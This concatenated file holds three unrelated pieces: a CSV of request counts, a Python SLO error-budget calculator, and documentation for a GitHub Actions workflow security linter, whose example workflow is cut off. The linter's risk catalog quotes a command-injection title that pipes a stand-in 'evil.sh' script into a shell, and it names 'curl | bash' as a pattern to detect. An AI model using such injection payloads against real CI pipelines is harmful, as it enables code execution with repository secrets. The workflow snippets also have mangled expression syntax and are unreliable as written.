2026-10-18T02:15:00Z,3448,3446
2026-10-18T02:30:00Z,3421,3419
2026-10-18T02:45:00Z,3019,3018
2026-10-18T03:00:00Z,3044,3043
2026-10-18T03:15:00Z,3093,3092
2026-10-18T03:30:00Z,3169,3168
2026-10-18T03:45:00Z,3270,3268
2026-10-18T04:00:00Z,3396,3394
2026-10-18T04:15:00Z,3547,3545
2026-10-18T04:30:00Z,3722,3720
2026-10-18T04:45:00Z,3921,3919
2026-10-18T05:00:00Z,4143,4141
2026-10-18T05:15:00Z,4388,4386
2026-10-18T05:30:00Z,4253,4251
2026-10-18T05:45:00Z,4539,4537
2026-10-18T06:00:00Z,4845,4843
2026-10-18T06:15:00Z,5168,5166
2026-10-18T06:30:00Z,5509,5507
2026-10-18T06:45:00Z,5865,5863
2026-10-18T07:00:00Z,6236,6234
2026-10-18T07:15:00Z,6619,6616
2026-10-18T07:30:00Z,7013,7009
2026-10-18T07:45:00Z,7418,7414
2026-10-18T08:00:00Z,7831,7827
2026-10-18T08:15:00Z,7850,7847
2026-10-18T08:30:00Z,8274,8271
2026-10-18T08:45:00Z,8702,8699
2026-10-18T09:00:00Z,9132,9127
2026-10-18T09:15:00Z,9561,9556
2026-10-18T09:30:00Z,9989,9984
2026-10-18T09:45:00Z,10413,10408
2026-10-18T10:00:00Z,10832,10827
2026-10-18T10:15:00Z,11245,11240
2026-10-18T10:30:00Z,11650,11645
2026-10-18T10:45:00Z,12044,12038
2026-10-18T11:00:00Z,12028,12022
2026-10-18T11:15:00Z,12398,12392
2026-10-18T11:30:00Z,12754,12748
2026-10-18T11:45:00Z,13095,13089
2026-10-18T12:00:00Z,13418,13412
2026-10-18T12:15:00Z,13724,13719
2026-10-18T12:30:00Z,14010,14003
2026-10-18T12:45:00Z,14275,14268
2026-10-18T13:00:00Z,14520,14513
2026-10-18T13:15:00Z,14742,14735
2026-10-18T13:30:00Z,14941,14934
2026-10-18T13:45:00Z,14716,14710
2026-10-18T14:00:00Z,14867,14861
2026-10-18T14:15:00Z,14993,14985
2026-10-18T14:30:00Z,15094,15086
2026-10-18T14:45:00Z,15170,15163
2026-10-18T15:00:00Z,15220,15213
2026-10-18T15:15:00Z,15244,15237
2026-10-18T15:30:00Z,15242,15236
2026-10-18T15:45:00Z,15215,15209
2026-10-18T16:00:00Z,15163,15155
2026-10-18T16:15:00Z,14686,14679
2026-10-18T16:30:00Z,14585,14578
2026-10-18T16:45:00Z,14460,14453
2026-10-18T17:00:00Z,14312,14306
2026-10-18T17:15:00Z,14141,14135
2026-10-18T17:30:00Z,13950,13866
2026-10-18T17:45:00Z,13738,13656
2026-10-18T18:00:00Z,13506,13499
2026-10-18T18:15:00Z,13257,13251
2026-10-18T18:30:00Z,12990,12984
2026-10-18T18:45:00Z,12708,12702
2026-10-18T19:00:00Z,12012,12007
2026-10-18T19:15:00Z,11702,11697
2026-10-18T19:30:00Z,11382,11376
2026-10-18T19:45:00Z,11051,11045
2026-10-18T20:00:00Z,10712,10707
2026-10-18T20:15:00Z,10367,10362
2026-10-18T20:30:00Z,10017,10013
2026-10-18T20:45:00Z,9663,9659
2026-10-18T21:00:00Z,9308,9304
2026-10-18T21:15:00Z,8952,8947
2026-10-18T21:30:00Z,8598,8594
2026-10-18T21:45:00Z,7848,7844
2026-10-18T22:00:00Z,7503,7500
2026-10-18T22:15:00Z,7164,7161
2026-10-18T22:30:00Z,6833,6830
2026-10-18T22:45:00Z,6513,6510
2026-10-18T23:00:00Z,6204,6201
2026-10-18T23:15:00Z,5907,5904
2026-10-18T23:30:00Z,5625,5622
2026-10-18T23:45:00Z,5358,5356
2026-10-19T00:00:00Z,5109,5107
2026-10-19T00:15:00Z,4877,4875
2026-10-19T00:30:00Z,4265,4263
2026-10-19T00:45:00Z,4074,4072
2026-10-19T01:00:00Z,3903,3901
2026-10-19T01:15:00Z,3755,3753
2026-10-19T01:30:00Z,3630,3628
2026-10-19T01:45:00Z,3529,3527
2026-10-19T02:00:00Z,3452,3451
2026-10-19T02:15:00Z,3400,3399
2026-10-19T02:30:00Z,3373,3371
2026-10-19T02:45:00Z,3371,3369
2026-10-19T03:00:00Z,3396,3394
2026-10-19T03:15:00Z,3045,3044
2026-10-19T03:30:00Z,3121,3120
2026-10-19T03:45:00Z,3222,3221
2026-10-19T04:00:00Z,3348,3347
2026-10-19T04:15:00Z,3499,3497
2026-10-19T04:30:00Z,3674,3672
2026-10-19T04:45:00Z,3873,3871
2026-10-19T05:00:00Z,4095,4093
2026-10-19T05:15:00Z,4340,4338
2026-10-19T05:30:00Z,4605,4603
2026-10-19T05:45:00Z,4491,4489
2026-10-19T06:00:00Z,4797,4795
2026-10-19T06:15:00Z,5120,5117
2026-10-19T06:30:00Z,5461,5458
2026-10-19T06:45:00Z,5817,5814
2026-10-19T07:00:00Z,6188,6185
2026-10-19T07:15:00Z,6571,6568
2026-10-19T07:30:00Z,6965,6962
2026-10-19T07:45:00Z,7370,7366
2026-10-19T08:00:00Z,7783,7779
2026-10-19T08:15:00Z,8202,8198
2026-10-19T08:30:00Z,8226,8222
2026-10-19T08:45:00Z,8654,8650
2026-10-19T09:00:00Z,9084,9080
2026-10-19T09:15:00Z,9513,9509
2026-10-19T09:30:00Z,9941,9936
2026-10-19T09:45:00Z,10365,10360
2026-10-19T10:00:00Z,10784,10779
2026-10-19T10:15:00Z,11197,11192
2026-10-19T10:30:00Z,11602,11597
2026-10-19T10:45:00Z,11996,11991
2026-10-19T11:00:00Z,12380,12375
2026-10-19T11:15:00Z,12350,12344
2026-10-19T11:30:00Z,12706,12700
2026-10-19T11:45:00Z,13047,13041
2026-10-19T12:00:00Z,13370,13364
2026-10-19T12:15:00Z,13676,13670
2026-10-19T12:30:00Z,13962,13956
2026-10-19T12:45:00Z,14227,14221
2026-10-19T13:00:00Z,14472,14464
2026-10-19T13:15:00Z,14694,14687
2026-10-19T13:30:00Z,14893,14886
2026-10-19T13:45:00Z,15068,15061
2026-10-19T14:00:00Z,14819,14812
2026-10-19T14:15:00Z,14945,14939
2026-10-19T14:30:00Z,15046,15040
2026-10-19T14:45:00Z,15122,15114
2026-10-19T15:00:00Z,15172,15164
2026-10-19T15:15:00Z,15196,15189
2026-10-19T15:30:00Z,15194,15187
2026-10-19T15:45:00Z,15167,15160
2026-10-19T16:00:00Z,15115,15109
2026-10-19T16:15:00Z,15038,15032
2026-10-19T16:30:00Z,14937,14929
2026-10-19T16:45:00Z,14412,14405
2026-10-19T17:00:00Z,14264,14257
2026-10-19T17:15:00Z,14093,14087
2026-10-19T17:30:00Z,13902,13896
2026-10-19T17:45:00Z,13690,13684
2026-10-19T18:00:00Z,13458,13453
2026-10-19T18:15:00Z,13209,13202
2026-10-19T18:30:00Z,12942,12936
2026-10-19T18:45:00Z,12660,12654
2026-10-19T19:00:00Z,12364,12358
2026-10-19T19:15:00Z,11654,11649
2026-10-19T19:30:00Z,11334,11329
2026-10-19T19:45:00Z,11003,10999
2026-10-19T20:00:00Z,10664,10658
2026-10-19T20:15:00Z,10319,10314
2026-10-19T20:30:00Z,9969,9964
2026-10-19T20:45:00Z,9615,9611
2026-10-19T21:00:00Z,9260,9256
2026-10-19T21:15:00Z,8904,8900
2026-10-19T21:30:00Z,8550,8547
2026-10-19T21:45:00Z,8200,8196
2026-10-19T22:00:00Z,7455,7298
2026-10-19T22:15:00Z,7116,6959
2026-10-19T22:30:00Z,6785,6629
2026-10-19T22:45:00Z,6465,6310
2026-10-19T23:00:00Z,6156,6002
2026-10-19T23:15:00Z,5859,5707
2026-10-19T23:30:00Z,5577,5426
2026-10-19T23:45:00Z,5310,5161
FILE:scripts/slo_budget.py
#!/usr/bin/env python3
"""SLO error budget and burn rate calculator (Python 3 standard library only).
Input: CSV with one row per interval, the timestamp marking the START of the interval, and request
counts. Accepted columns (case-insensitive): timestamp|time|ts, total|requests|count, and either
good|success|ok or bad|errors|failed. Timestamps: ISO 8601 (Z or offset) or Unix seconds.
Math (see references/slo-math.md):
error budget (fraction) = 1 - SLO e.g. 99.9% -> 0.001
error rate over window = sum(bad) / sum(total)
burn rate = error rate / (1 - SLO) 1.0 = spends exactly the budget over the SLO window
budget consumed so far = sum(bad) / ((1 - SLO) * expected requests in the SLO window)
alert threshold = budget share * window hours / long window hours (14.4 = 2% of 30d in 1h)
Default multiwindow, multi-burn-rate policy (Google SRE Workbook): page 2% in 1h (short 5m),
page 5% in 6h (short 30m), ticket 10% in 1d (short 2h), ticket 10% in 3d (short 6h). An alert fires
only when BOTH the long and the short window burn faster than the threshold. Windows shorter than
the data step are rounded up to one step; windows longer than the data are reported as not evaluable.
Usage:
python3 slo_budget.py requests.csv --slo 99.9 --window 30d
python3 slo_budget.py requests.csv --slo 99.5 --window 28d --json
python3 slo_budget.py --allowance --slo 99.95 --window 30d # downtime allowed, no CSV needed
python3 slo_budget.py --self-test
Exit code: 0 OK, 1 a page alert fires or the budget is exhausted, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import json
import re
import statistics
import sys
POLICY = [
# (severity, long window, short window, budget share)
("page", "1h", "5m", 0.02),
("page", "6h", "30m", 0.05),
("ticket", "1d", "2h", 0.10),
("ticket", "3d", "6h", 0.10),
]
ALIASES = {
"ts": ("timestamp", "time", "ts", "date", "datetime"),
"total": ("total", "requests", "count", "events"),
"good": ("good", "success", "ok", "successes"),
"bad": ("bad", "errors", "failed", "failures", "error"),
}
class SLOError(ValueError):
pass
def parse_duration(s):
m = re.fullmatch(r"\s*(\d+(?:\.\d+)?)\s*([smhdw])\s*", str(s).lower())
if not m:
raise SLOError(f"bad duration {s!r} (use e.g. 5m, 1h, 28d)")
return float(m.group(1)) * {"s": 1, "m": 60, "h": 3600, "d": 86400, "w": 604800}[m.group(2)]
def fmt_dur(sec):
sec = int(round(sec))
if sec >= 86400:
d, h = divmod(sec // 3600, 24)
return f"{d}d {h}h" if h else f"{d}d"
if sec >= 3600:
h, m = divmod(sec // 60, 60)
return f"{h}h {m}m" if m else f"{h}h"
if sec >= 60:
m, s = divmod(sec, 60)
return f"{m}m {s}s" if s else f"{m}m"
return f"{sec}s"
def parse_ts(v):
v = v.strip()
if re.fullmatch(r"\d+(\.\d+)?", v):
return dt.datetime.fromtimestamp(float(v), dt.timezone.utc)
t = dt.datetime.fromisoformat(v.replace("Z", "+00:00").replace(" ", "T"))
if t.tzinfo is None:
t = t.replace(tzinfo=dt.timezone.utc)
return t.astimezone(dt.timezone.utc)
def load_rows(lines):
rd = csv.DictReader(lines)
if not rd.fieldnames:
raise SLOError("empty CSV")
cols = {}
lower = {f.strip().lower(): f for f in rd.fieldnames}
for key, names in ALIASES.items():
for n in names:
if n in lower:
cols[key] = lower[n]
break
if "ts" not in cols or "total" not in cols or not ({"good", "bad"} & cols.keys()):
raise SLOError(f"need timestamp, total and good or bad columns; got {rd.fieldnames}")
rows = []
for i, r in enumerate(rd, 2):
try:
ts = parse_ts(r[cols["ts"]])
total = int(float(r[cols["total"]]))
bad = int(float(r[cols["bad"]])) if "bad" in cols else total - int(float(r[cols["good"]]))
except (ValueError, TypeError) as e:
raise SLOError(f"line {i}: {e}")
if total < 0 or bad < 0 or bad > total:
raise SLOError(f"line {i}: counts must satisfy 0 <= bad <= total (total={total}, bad={bad})")
rows.append((ts, total, bad))
if len(rows) < 2:
raise SLOError("need at least two rows")
rows.sort(key=lambda r: r[0])
return rows
def analyze(rows, slo_pct, window, now=None, policy=POLICY):
if not 0 < slo_pct < 100:
raise SLOError("SLO must be between 0 and 100 (exclusive), e.g. 99.9")
budget = 1 - slo_pct / 100
win = parse_duration(window)
diffs = [(b[0] - a[0]).total_seconds() for a, b in zip(rows, rows[1:])]
step = statistics.median(diffs)
if step <= 0:
raise SLOError("duplicate timestamps")
first = rows[0][0]
end = (now or rows[-1][0] + dt.timedelta(seconds=step))
covered = (end - first).total_seconds()
expected_rows = int(round(covered / step))
missing = max(0, expected_rows - len(rows))
def window_stats(seconds):
seconds = max(seconds, step)
if seconds > covered + 1e-6:
return None
start = end - dt.timedelta(seconds=seconds)
tot = sum(t for ts, t, b in rows if start <= ts < end)
bad = sum(b for ts, t, b in rows if start <= ts < end)
rate = bad / tot if tot else 0.0
return {"seconds": seconds, "total": tot, "bad": bad, "error_rate": rate, "burn_rate": rate / budget}
total = sum(r[1] for r in rows)
bad = sum(r[2] for r in rows)
req_per_sec = total / covered
expected_window_total = req_per_sec * win
allowed_bad = budget * expected_window_total
consumed = bad / allowed_bad if allowed_bad else 0.0
alerts = []
for sev, lw, sw, share in policy:
thr = share * win / parse_duration(lw)
L, S = window_stats(parse_duration(lw)), window_stats(parse_duration(sw))
if L is None or S is None:
alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr, "status": "not evaluable",
"long_burn": None, "short_burn": None})
continue
fires = L["burn_rate"] >= thr and S["burn_rate"] >= thr
alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr,
"status": "FIRING" if fires else "ok",
"long_burn": L["burn_rate"], "short_burn": S["burn_rate"]})
burn = {}
for w in ("5m", "30m", "1h", "2h", "6h", "1d", "3d"):
s = window_stats(parse_duration(w))
burn[w] = None if s is None else s["burn_rate"]
remaining_bad = allowed_bad - bad
exhaust = {}
for w in ("1h", "6h", "1d"):
s = window_stats(parse_duration(w))
if s and s["bad"] > 0 and remaining_bad > 0:
exhaust[w] = remaining_bad / (s["bad"] / s["seconds"])
elif s:
exhaust[w] = 0.0 if remaining_bad <= 0 else None
worst = max(rows, key=lambda r: (r[2] / r[1] if r[1] else 0, r[0]))
return {
"slo_percent": slo_pct, "window": window, "window_seconds": win, "step_seconds": step,
"data_start": first.strftime("%Y-%m-%dT%H:%M:%SZ"), "data_end": end.strftime("%Y-%m-%dT%H:%M:%SZ"),
"rows": len(rows), "missing_intervals": missing,
"total": total, "bad": bad, "sli_percent": 100 * (1 - bad / total) if total else 100.0,
"allowed_bad_in_window": allowed_bad, "budget_consumed": consumed, "budget_remaining": 1 - consumed,
"allowed_downtime_seconds": budget * win,
"burn_rates": burn, "alerts": alerts, "exhaustion_seconds": exhaust,
"worst_interval": {"start": worst[0].strftime("%Y-%m-%dT%H:%M:%SZ"), "total": worst[1], "bad": worst[2],
"error_rate": worst[2] / worst[1] if worst[1] else 0.0},
}
def allowance_table(slo_pct, window):
win = parse_duration(window)
b = 1 - slo_pct / 100
return {"slo_percent": slo_pct, "window": window, "allowed_downtime_seconds": b * win,
"per_day_seconds": b * 86400, "per_week_seconds": b * 604800,
"thresholds": [{"severity": s, "long": l, "short": sh, "share": sha, "burn_rate": sha * win / parse_duration(l)}
for s, l, sh, sha in POLICY]}
def to_markdown(r):
pct = lambda x: f"{100 * x:.1f}%"
out = [f"# SLO error budget report", "",
f"**SLO:** {r['slo_percent']}% over {r['window']} **Data:** {r['data_start']} to {r['data_end']} "
f"({r['rows']} rows, step {fmt_dur(r['step_seconds'])}, {r['missing_intervals']} missing)",
f"**SLI over data:** {r['sli_percent']:.4f}% ({r['bad']:,} bad of {r['total']:,})",
f"**Error budget:** {r['allowed_bad_in_window']:,.0f} bad requests per {r['window']} at current traffic "
f"(= {fmt_dur(r['allowed_downtime_seconds'])} of full downtime)",
f"**Consumed so far:** {pct(r['budget_consumed'])} **Remaining:** {pct(r['budget_remaining'])}", "",
"## Burn rates (1.0 = on budget)", "", "| Window | Burn rate |", "|---|---|"]
for w, v in r["burn_rates"].items():
out.append(f"| {w} | {'n/a' if v is None else f'{v:.2f}'} |")
out += ["", "## Alert policy", "", "| Severity | Long / short window | Threshold | Long burn | Short burn | Status |",
"|---|---|---|---|---|---|"]
for a in r["alerts"]:
lb = "n/a" if a["long_burn"] is None else f"{a['long_burn']:.2f}"
sb = "n/a" if a["short_burn"] is None else f"{a['short_burn']:.2f}"
out.append(f"| {a['severity']} | {a['long']} / {a['short']} | {a['threshold']:.1f} | {lb} | {sb} | {a['status']} |")
out += ["", "## Time to exhaustion at recent burn"]
for w, s in r["exhaustion_seconds"].items():
out.append(f"- at last {w} rate: " + ("budget already exhausted" if s == 0 else ("no errors in window" if s is None else fmt_dur(s))))
wi = r["worst_interval"]
out += ["", f"Worst interval: {wi['start']} with {wi['bad']:,} bad of {wi['total']:,} ({100 * wi['error_rate']:.2f}%)"]
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
t0 = dt.datetime(2026, 1, 1, tzinfo=dt.timezone.utc)
def series(n, step_min, total, bad_fn):
return [(t0 + dt.timedelta(minutes=step_min * i), total, bad_fn(i)) for i in range(n)]
ok("duration parse", parse_duration("28d") == 28 * 86400 and parse_duration("5m") == 300)
ok("duration format", fmt_dur(43.2 * 60) == "43m 12s" and fmt_dur(86400 * 3) == "3d")
a = allowance_table(99.9, "30d")
ok("99.9% of 30d allows 43m 12s", round(a["allowed_downtime_seconds"]) == 2592)
ok("page threshold 14.4 for 30d", abs(a["thresholds"][0]["burn_rate"] - 14.4) < 1e-9)
ok("28d threshold scales to 13.44", abs(allowance_table(99.9, "28d")["thresholds"][0]["burn_rate"] - 13.44) < 1e-9)
flat = series(4 * 24 * 4, 15, 10000, lambda i: 10) # 0.1% errors at 99.9 -> burn 1.0
r = analyze(flat, 99.9, "30d")
ok("steady burn rate is 1.0", abs(r["burn_rates"]["1h"] - 1.0) < 1e-9 and abs(r["burn_rates"]["1d"] - 1.0) < 1e-9)
ok("no alert at burn 1.0", all(x["status"] != "FIRING" for x in r["alerts"][:3]))
ok("burn 1.0 over 4 of 30 days consumes 4/30", abs(r["budget_consumed"] - 4 / 30) < 1e-9)
ok("SLI computed", abs(r["sli_percent"] - 99.9) < 1e-9)
spike = series(4 * 24 * 4, 15, 10000, lambda i: 200 if i >= 4 * 24 * 4 - 4 else 5) # last hour 2% errors
r = analyze(spike, 99.9, "30d")
ok("fast burn pages (1h/5m)", r["alerts"][0]["status"] == "FIRING")
ok("short window rounded up to step", abs(r["burn_rates"]["5m"] - 20.0) < 1e-9)
ok("6h page not firing for 1h spike", r["alerts"][1]["status"] == "ok")
recovered = spike[:-2] + [(spike[-2][0], 10000, 5), (spike[-1][0], 10000, 5)]
r = analyze(recovered, 99.9, "30d")
ok("short window resets page after recovery", r["alerts"][0]["status"] == "ok")
short = series(8, 15, 1000, lambda i: 0)
r = analyze(short, 99.9, "30d")
ok("long windows not evaluable on 2h of data", r["alerts"][3]["status"] == "not evaluable" and r["burn_rates"]["3d"] is None)
gap = flat[:10] + flat[12:]
ok("missing intervals counted", analyze(gap, 99.9, "30d")["missing_intervals"] == 2)
ok("exhaustion time at burn 1", abs(analyze(flat, 99.9, "30d")["exhaustion_seconds"]["1d"] - 26 * 86400) < 1)
rows = load_rows(["time,requests,errors", "2026-01-01T00:00:00Z,100,1", "2026-01-01T00:05:00Z,100,0"])
ok("aliases requests/errors", rows[0][1] == 100 and rows[0][2] == 1)
rows = load_rows(["ts,total,good", "1767225600,50,49", "1767225900,50,50"])
ok("unix timestamps and good column", rows[0][2] == 1 and rows[0][0] == t0)
for data, label in [(["ts,total", "x,1"], "missing good/bad rejected"),
(["ts,total,bad", "2026-01-01T00:00:00Z,10,11", "2026-01-01T00:05:00Z,10,0"], "bad > total rejected"),
(["ts,total,bad", "nope,10,1", "2026-01-01T00:05:00Z,10,0"], "bad timestamp rejected")]:
try:
load_rows(data)
ok(label, False)
except SLOError:
ok(label, True)
try:
analyze(flat, 100, "30d")
ok("SLO 100 rejected", False)
except SLOError:
ok("SLO 100 rejected", True)
ok("markdown has alert table", "## Alert policy" in to_markdown(analyze(flat, 99.9, "30d")))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Compute SLO error budget consumption and multiwindow burn-rate alerts.")
ap.add_argument("file", nargs="?", help="CSV of request counts per interval ('-' for stdin)")
ap.add_argument("--slo", type=float, default=99.9, help="target in percent (default 99.9)")
ap.add_argument("--window", default="30d", help="SLO window, e.g. 28d or 30d (default 30d)")
ap.add_argument("--now", help="evaluate as of this ISO time (default: end of the last interval)")
ap.add_argument("--allowance", action="store_true", help="print allowed downtime and alert thresholds only")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
try:
if a.allowance:
t = allowance_table(a.slo, a.window)
if a.json:
print(json.dumps(t, indent=2))
else:
print(f"SLO {a.slo}% over {a.window}: {fmt_dur(t['allowed_downtime_seconds'])} of full downtime "
f"({fmt_dur(t['per_day_seconds'])}/day, {fmt_dur(t['per_week_seconds'])}/week)")
for x in t["thresholds"]:
print(f" {x['severity']:6} {x['share'] * 100:.0f}% of budget in {x['long']} (short {x['short']}): burn rate >= {x['burn_rate']:.2f}")
return 0
if not a.file:
ap.error("CSV file required (or --allowance / --self-test)")
lines = sys.stdin.read().splitlines() if a.file == "-" else open(a.file, encoding="utf-8").read().splitlines()
r = analyze(load_rows(lines), a.slo, a.window, parse_ts(a.now) if a.now else None)
except (OSError, SLOError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
paging = any(x["severity"] == "page" and x["status"] == "FIRING" for x in r["alerts"])
return 1 if paging or r["budget_remaining"] <= 0 else 0
if __name__ == "__main__":
sys.exit(main())Reviews GitHub Actions workflow YAML for supply-chain and injection risks: pull_request_target with PR checkout, untrusted github.event text in run steps, actions pinned to tags or branches instead of commit SHAs, missing or write-all permissions, secrets in shell commands, curl | bash, self-hosted runners on PRs, and missing timeouts. Use before merging CI changes or auditing a repo. Includes a stdlib Python linter with --self-test.
--- name: github-actions-workflow-security-reviewer description: Reviews GitHub Actions workflow YAML for supply-chain and injection risks: pull_request_target with PR checkout, untrusted github.event text in run steps, actions pinned to tags or branches instead of commit SHAs, missing or write-all permissions, secrets in shell commands, curl | bash, self-hosted runners on PRs, and missing timeouts. Use before merging CI changes or auditing a repo. Includes a stdlib Python linter with --self-test. --- # GitHub Actions Workflow Security Reviewer You help maintainers find and fix security problems in `.github/workflows/*.yml` before an attacker does. You read each workflow the way a malicious fork, issue author, or compromised third-party action would, point to the exact line that is risky, explain how it could be abused in one or two sentences, and give a minimal patch that keeps the workflow working. ## Files in this skill - `scripts/gha_audit.py` - line-based linter for workflow files: triggers, permissions, `uses:` pinning, script injection in `run:` and `github-script`, secrets in commands, remote scripts piped to a shell, self-hosted runners, timeouts (Python 3 standard library only, no YAML library needed) - `references/risk-catalog.md` - every rule ID with severity, why it matters, and the fix - `references/hardening-guide.md` - safe patterns: env indirection, least-privilege permissions, SHA pinning with Dependabot, splitting privileged and unprivileged workflows - `templates/workflow-security-review.md` - a review comment or audit report - `examples/pr-labeler.yml` - a deliberately unsafe workflow and its expected findings ## Workflow ### 1. Collect the workflows Ask for the workflow files (or the repository path) and the context: public or private repo, whether forks can open pull requests, which secrets and environments exist, and whether self-hosted runners are used. Workflows triggered by `pull_request_target`, `issue_comment`, `issues`, `workflow_run`, or `discussion` deserve the closest look because they run with repository secrets on events outsiders can create. ### 2. Run the linter ``` python3 scripts/gha_audit.py .github/workflows/*.yml python3 scripts/gha_audit.py examples/pr-labeler.yml --json python3 scripts/gha_audit.py ci.yml --strict python3 scripts/gha_audit.py --self-test ``` Exit code 1 means at least one high finding (`--strict`: any finding); 2 means a file could not be read. The linter does not need PyYAML; it understands common workflow layouts but can miss unusual YAML (anchors, flow mappings). Read the file yourself as well. ### 3. Confirm each finding For every finding, check the context the script cannot see: is the expression really attacker-controlled, does the job have secrets or a write token, is the action from a trusted publisher? Downgrade or dismiss with a stated reason; never silently drop a high finding. ### 4. Propose fixes Use `references/risk-catalog.md` for each rule ID and `references/hardening-guide.md` for patterns. Prefer small, reviewable diffs: move `{}` into `env:` and quote the shell variable, add a top-level `permissions: contents: read`, pin `uses:` to a full commit SHA with the tag in a comment, and add `persist-credentials: false` and `timeout-minutes`. ### 5. Report Fill `templates/workflow-security-review.md`: files reviewed, findings by severity with line numbers, the attack scenario for each high finding, the patch, and follow-ups (Dependabot for actions, branch protection, environment reviewers). ## Rules - Treat titles, bodies, branch names, commit messages, and comments from PRs and issues as attacker input. - Never ask for or print secret values; refer to secrets by name only. - Do not write proof-of-concept exploits against repositories the user does not own; describe the risk instead. - A clean linter run is not a guarantee. Say what was not checked (reusable workflows, composite actions, repository settings). FILE:references/risk-catalog.md # Risk Catalog (rule IDs used by gha_audit.py) | ID | Severity | What it detects | Why it matters | Fix | |---|---|---|---|---| | GHA001 | high | `pull_request_target` (or `workflow_run`) workflow that checks out the PR head (`ref: { github.event.pull_request.head.sha}`, `head.ref`, `github.head_ref`) | Code from a fork runs with repository secrets and a write token ("pwn request") | Use `pull_request` for building untrusted code; keep `pull_request_target` for labeling/commenting only, without checkout of PR code | | GHA002 | high | Untrusted `{}` expression inside `run:` or `github-script` `script:` (issue/PR title or body, comment body, head ref, commit message, author name/email, page name) | The text is pasted into the script before it runs, so a title like `"; curl evil.sh | sh #` executes | Pass it through `env:` and use `"$TITLE"` in the shell | | GHA003 | medium (low for `actions/*`, `github/*`) | `uses: owner/repo@v4` pinned to a tag | Tags can be moved; a compromised action ships code into your build | Pin to the full 40-character commit SHA, keep the tag in a comment, let Dependabot update it | | GHA004 | high | `uses:` with a branch (`@main`, `@master`) or no ref | Every run pulls whatever is on that branch today | Pin to a commit SHA | | GHA005 | medium | No `permissions:` at workflow level and not on every job | The `GITHUB_TOKEN` gets the repository default, often read/write on everything | Add `permissions: contents: read` at the top and grant more per job | | GHA006 | high | `permissions: write-all` | Every scope can be written by any step | List only the scopes needed | | GHA007 | high / medium | `{ secrets.X}` inside a `run:` command (high when echoed or printed) | Secrets end up in shell history, process lists, logs, or injected text | Map the secret to `env:` and read `$X`; never echo it | | GHA008 | medium | `curl ... \| bash` or `wget ... \| sh` | Runs unverified remote code with the job's token and secrets | Download, verify a checksum or signature, then run; or use a pinned action | | GHA009 | medium | `self-hosted` runner in a workflow triggered by `pull_request` or `pull_request_target` | Fork code can persist on the machine and attack later jobs | Use GitHub-hosted or ephemeral runners for PRs; require approval for outside contributors | | GHA010 | high | `ACTIONS_ALLOW_UNSECURE_COMMANDS: true` | Re-enables deprecated `set-env`/`add-path`, which log output can trigger | Remove it; write to `$GITHUB_ENV` and `$GITHUB_PATH` | | GHA011 | low | `actions/checkout` without `persist-credentials: false` | The token stays in `.git/config` for every later step and any uploaded artifact | Add `persist-credentials: false` unless a later step pushes | | GHA012 | low | Job without `timeout-minutes` | A hung or abused job can run for 6 hours on your minutes | Add a realistic timeout (e.g. 15-30) | | GHA013 | low | `docker://image:tag` without `@sha256:` digest | Image tags are mutable | Pin `docker://image@sha256:<digest>` | | GHA014 | medium | `workflow_run` workflow using `actions/download-artifact` | Artifacts from a fork-triggered run are attacker-controlled | Treat artifact contents as data: validate, never execute; avoid extracting into the workspace | ## Severity guide - **high**: an outsider can likely run code with secrets or a write token, or a mutable reference controls the build. - **medium**: hardening gap that makes a compromise easier or bigger. - **low**: good practice; fix when touching the file. FILE:references/hardening-guide.md # Hardening Guide ## 1. Pass untrusted text through env, not expressions ```yaml # unsafe - run: echo "Title: { github.event.pull_request.title}" # safe - env: PR_TITLE: { github.event.pull_request.title} run: echo "Title: $PR_TITLE" ``` Always double-quote the variable. In `actions/github-script`, read `context.payload.pull_request.title` in JavaScript instead of interpolating `{}` into the script. ## 2. Least-privilege token ```yaml permissions: contents: read # workflow default jobs: label: permissions: pull-requests: write # only this job can label ``` Also set the repository default to read-only (Settings > Actions > General > Workflow permissions). ## 3. Pin actions to commit SHAs ```yaml - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0 ``` Enable Dependabot for the `github-actions` ecosystem so pins get update PRs with changelogs. Prefer actions from verified publishers and read the source of small third-party actions before adopting them. ## 4. Split privileged and unprivileged work - `pull_request` workflow: builds and tests fork code with no secrets and a read-only token; uploads results as an artifact. - `workflow_run` workflow: runs after it with secrets, downloads the artifact, treats it as untrusted data (parse JSON, never execute), and posts the comment or label. ## 5. Checkout and credentials - `persist-credentials: false` on `actions/checkout` unless the job pushes. - Never check out PR code in `pull_request_target`; if you must (e.g. a labeler reading config), check out the base branch only. ## 6. Runners and limits - Self-hosted runners: private repositories only, or ephemeral (one job per VM) with no network access to internal systems. - `timeout-minutes` on every job; `concurrency` groups for deploys. ## 7. Secrets and environments - Put deploy credentials in an environment with required reviewers and branch rules. - Prefer OIDC (`id-token: write`) to long-lived cloud keys. - Mask derived values with `::add-mask::` before printing anything secret-like. ## Review checklist 1. Which triggers can outsiders fire? 2. What can the token write, and which secrets are reachable from those triggers? 3. Is any attacker-controlled text interpolated into a script? 4. Is every `uses:` pinned to a SHA? 5. Is any remote code executed without verification? FILE:templates/workflow-security-review.md # GitHub Actions Security Review - <repository> **Date:** <YYYY-MM-DD> **Reviewer:** <name> **Files:** <.github/workflows/...> **Repo visibility:** <public/private> **Fork PRs allowed:** <yes/no> **Self-hosted runners:** <yes/no> **Linter:** `gha_audit.py` -> <n> high, <n> medium, <n> low ## High findings | Rule | File:line | Problem | Attack scenario | Fix | |---|---|---|---|---| | | | | | | ## Medium and low findings | Rule | File:line | Problem | Fix | |---|---|---|---| | | | | | ## Dismissed findings - <rule, file:line> - <reason it is not exploitable here> ## Proposed patch ```diff <minimal diff> ``` ## Not covered by this review - Reusable workflows and composite actions called from these files - Repository and organization settings (default token permissions, fork PR approval, environments) ## Follow-ups - [ ] Enable Dependabot for github-actions - [ ] Set default workflow permissions to read-only - [ ] Require reviewers on the production environment FILE:examples/pr-labeler.yml # Deliberately unsafe example for gha_audit.py. Expected findings (line numbers in this file): # GHA001 high line 21 - 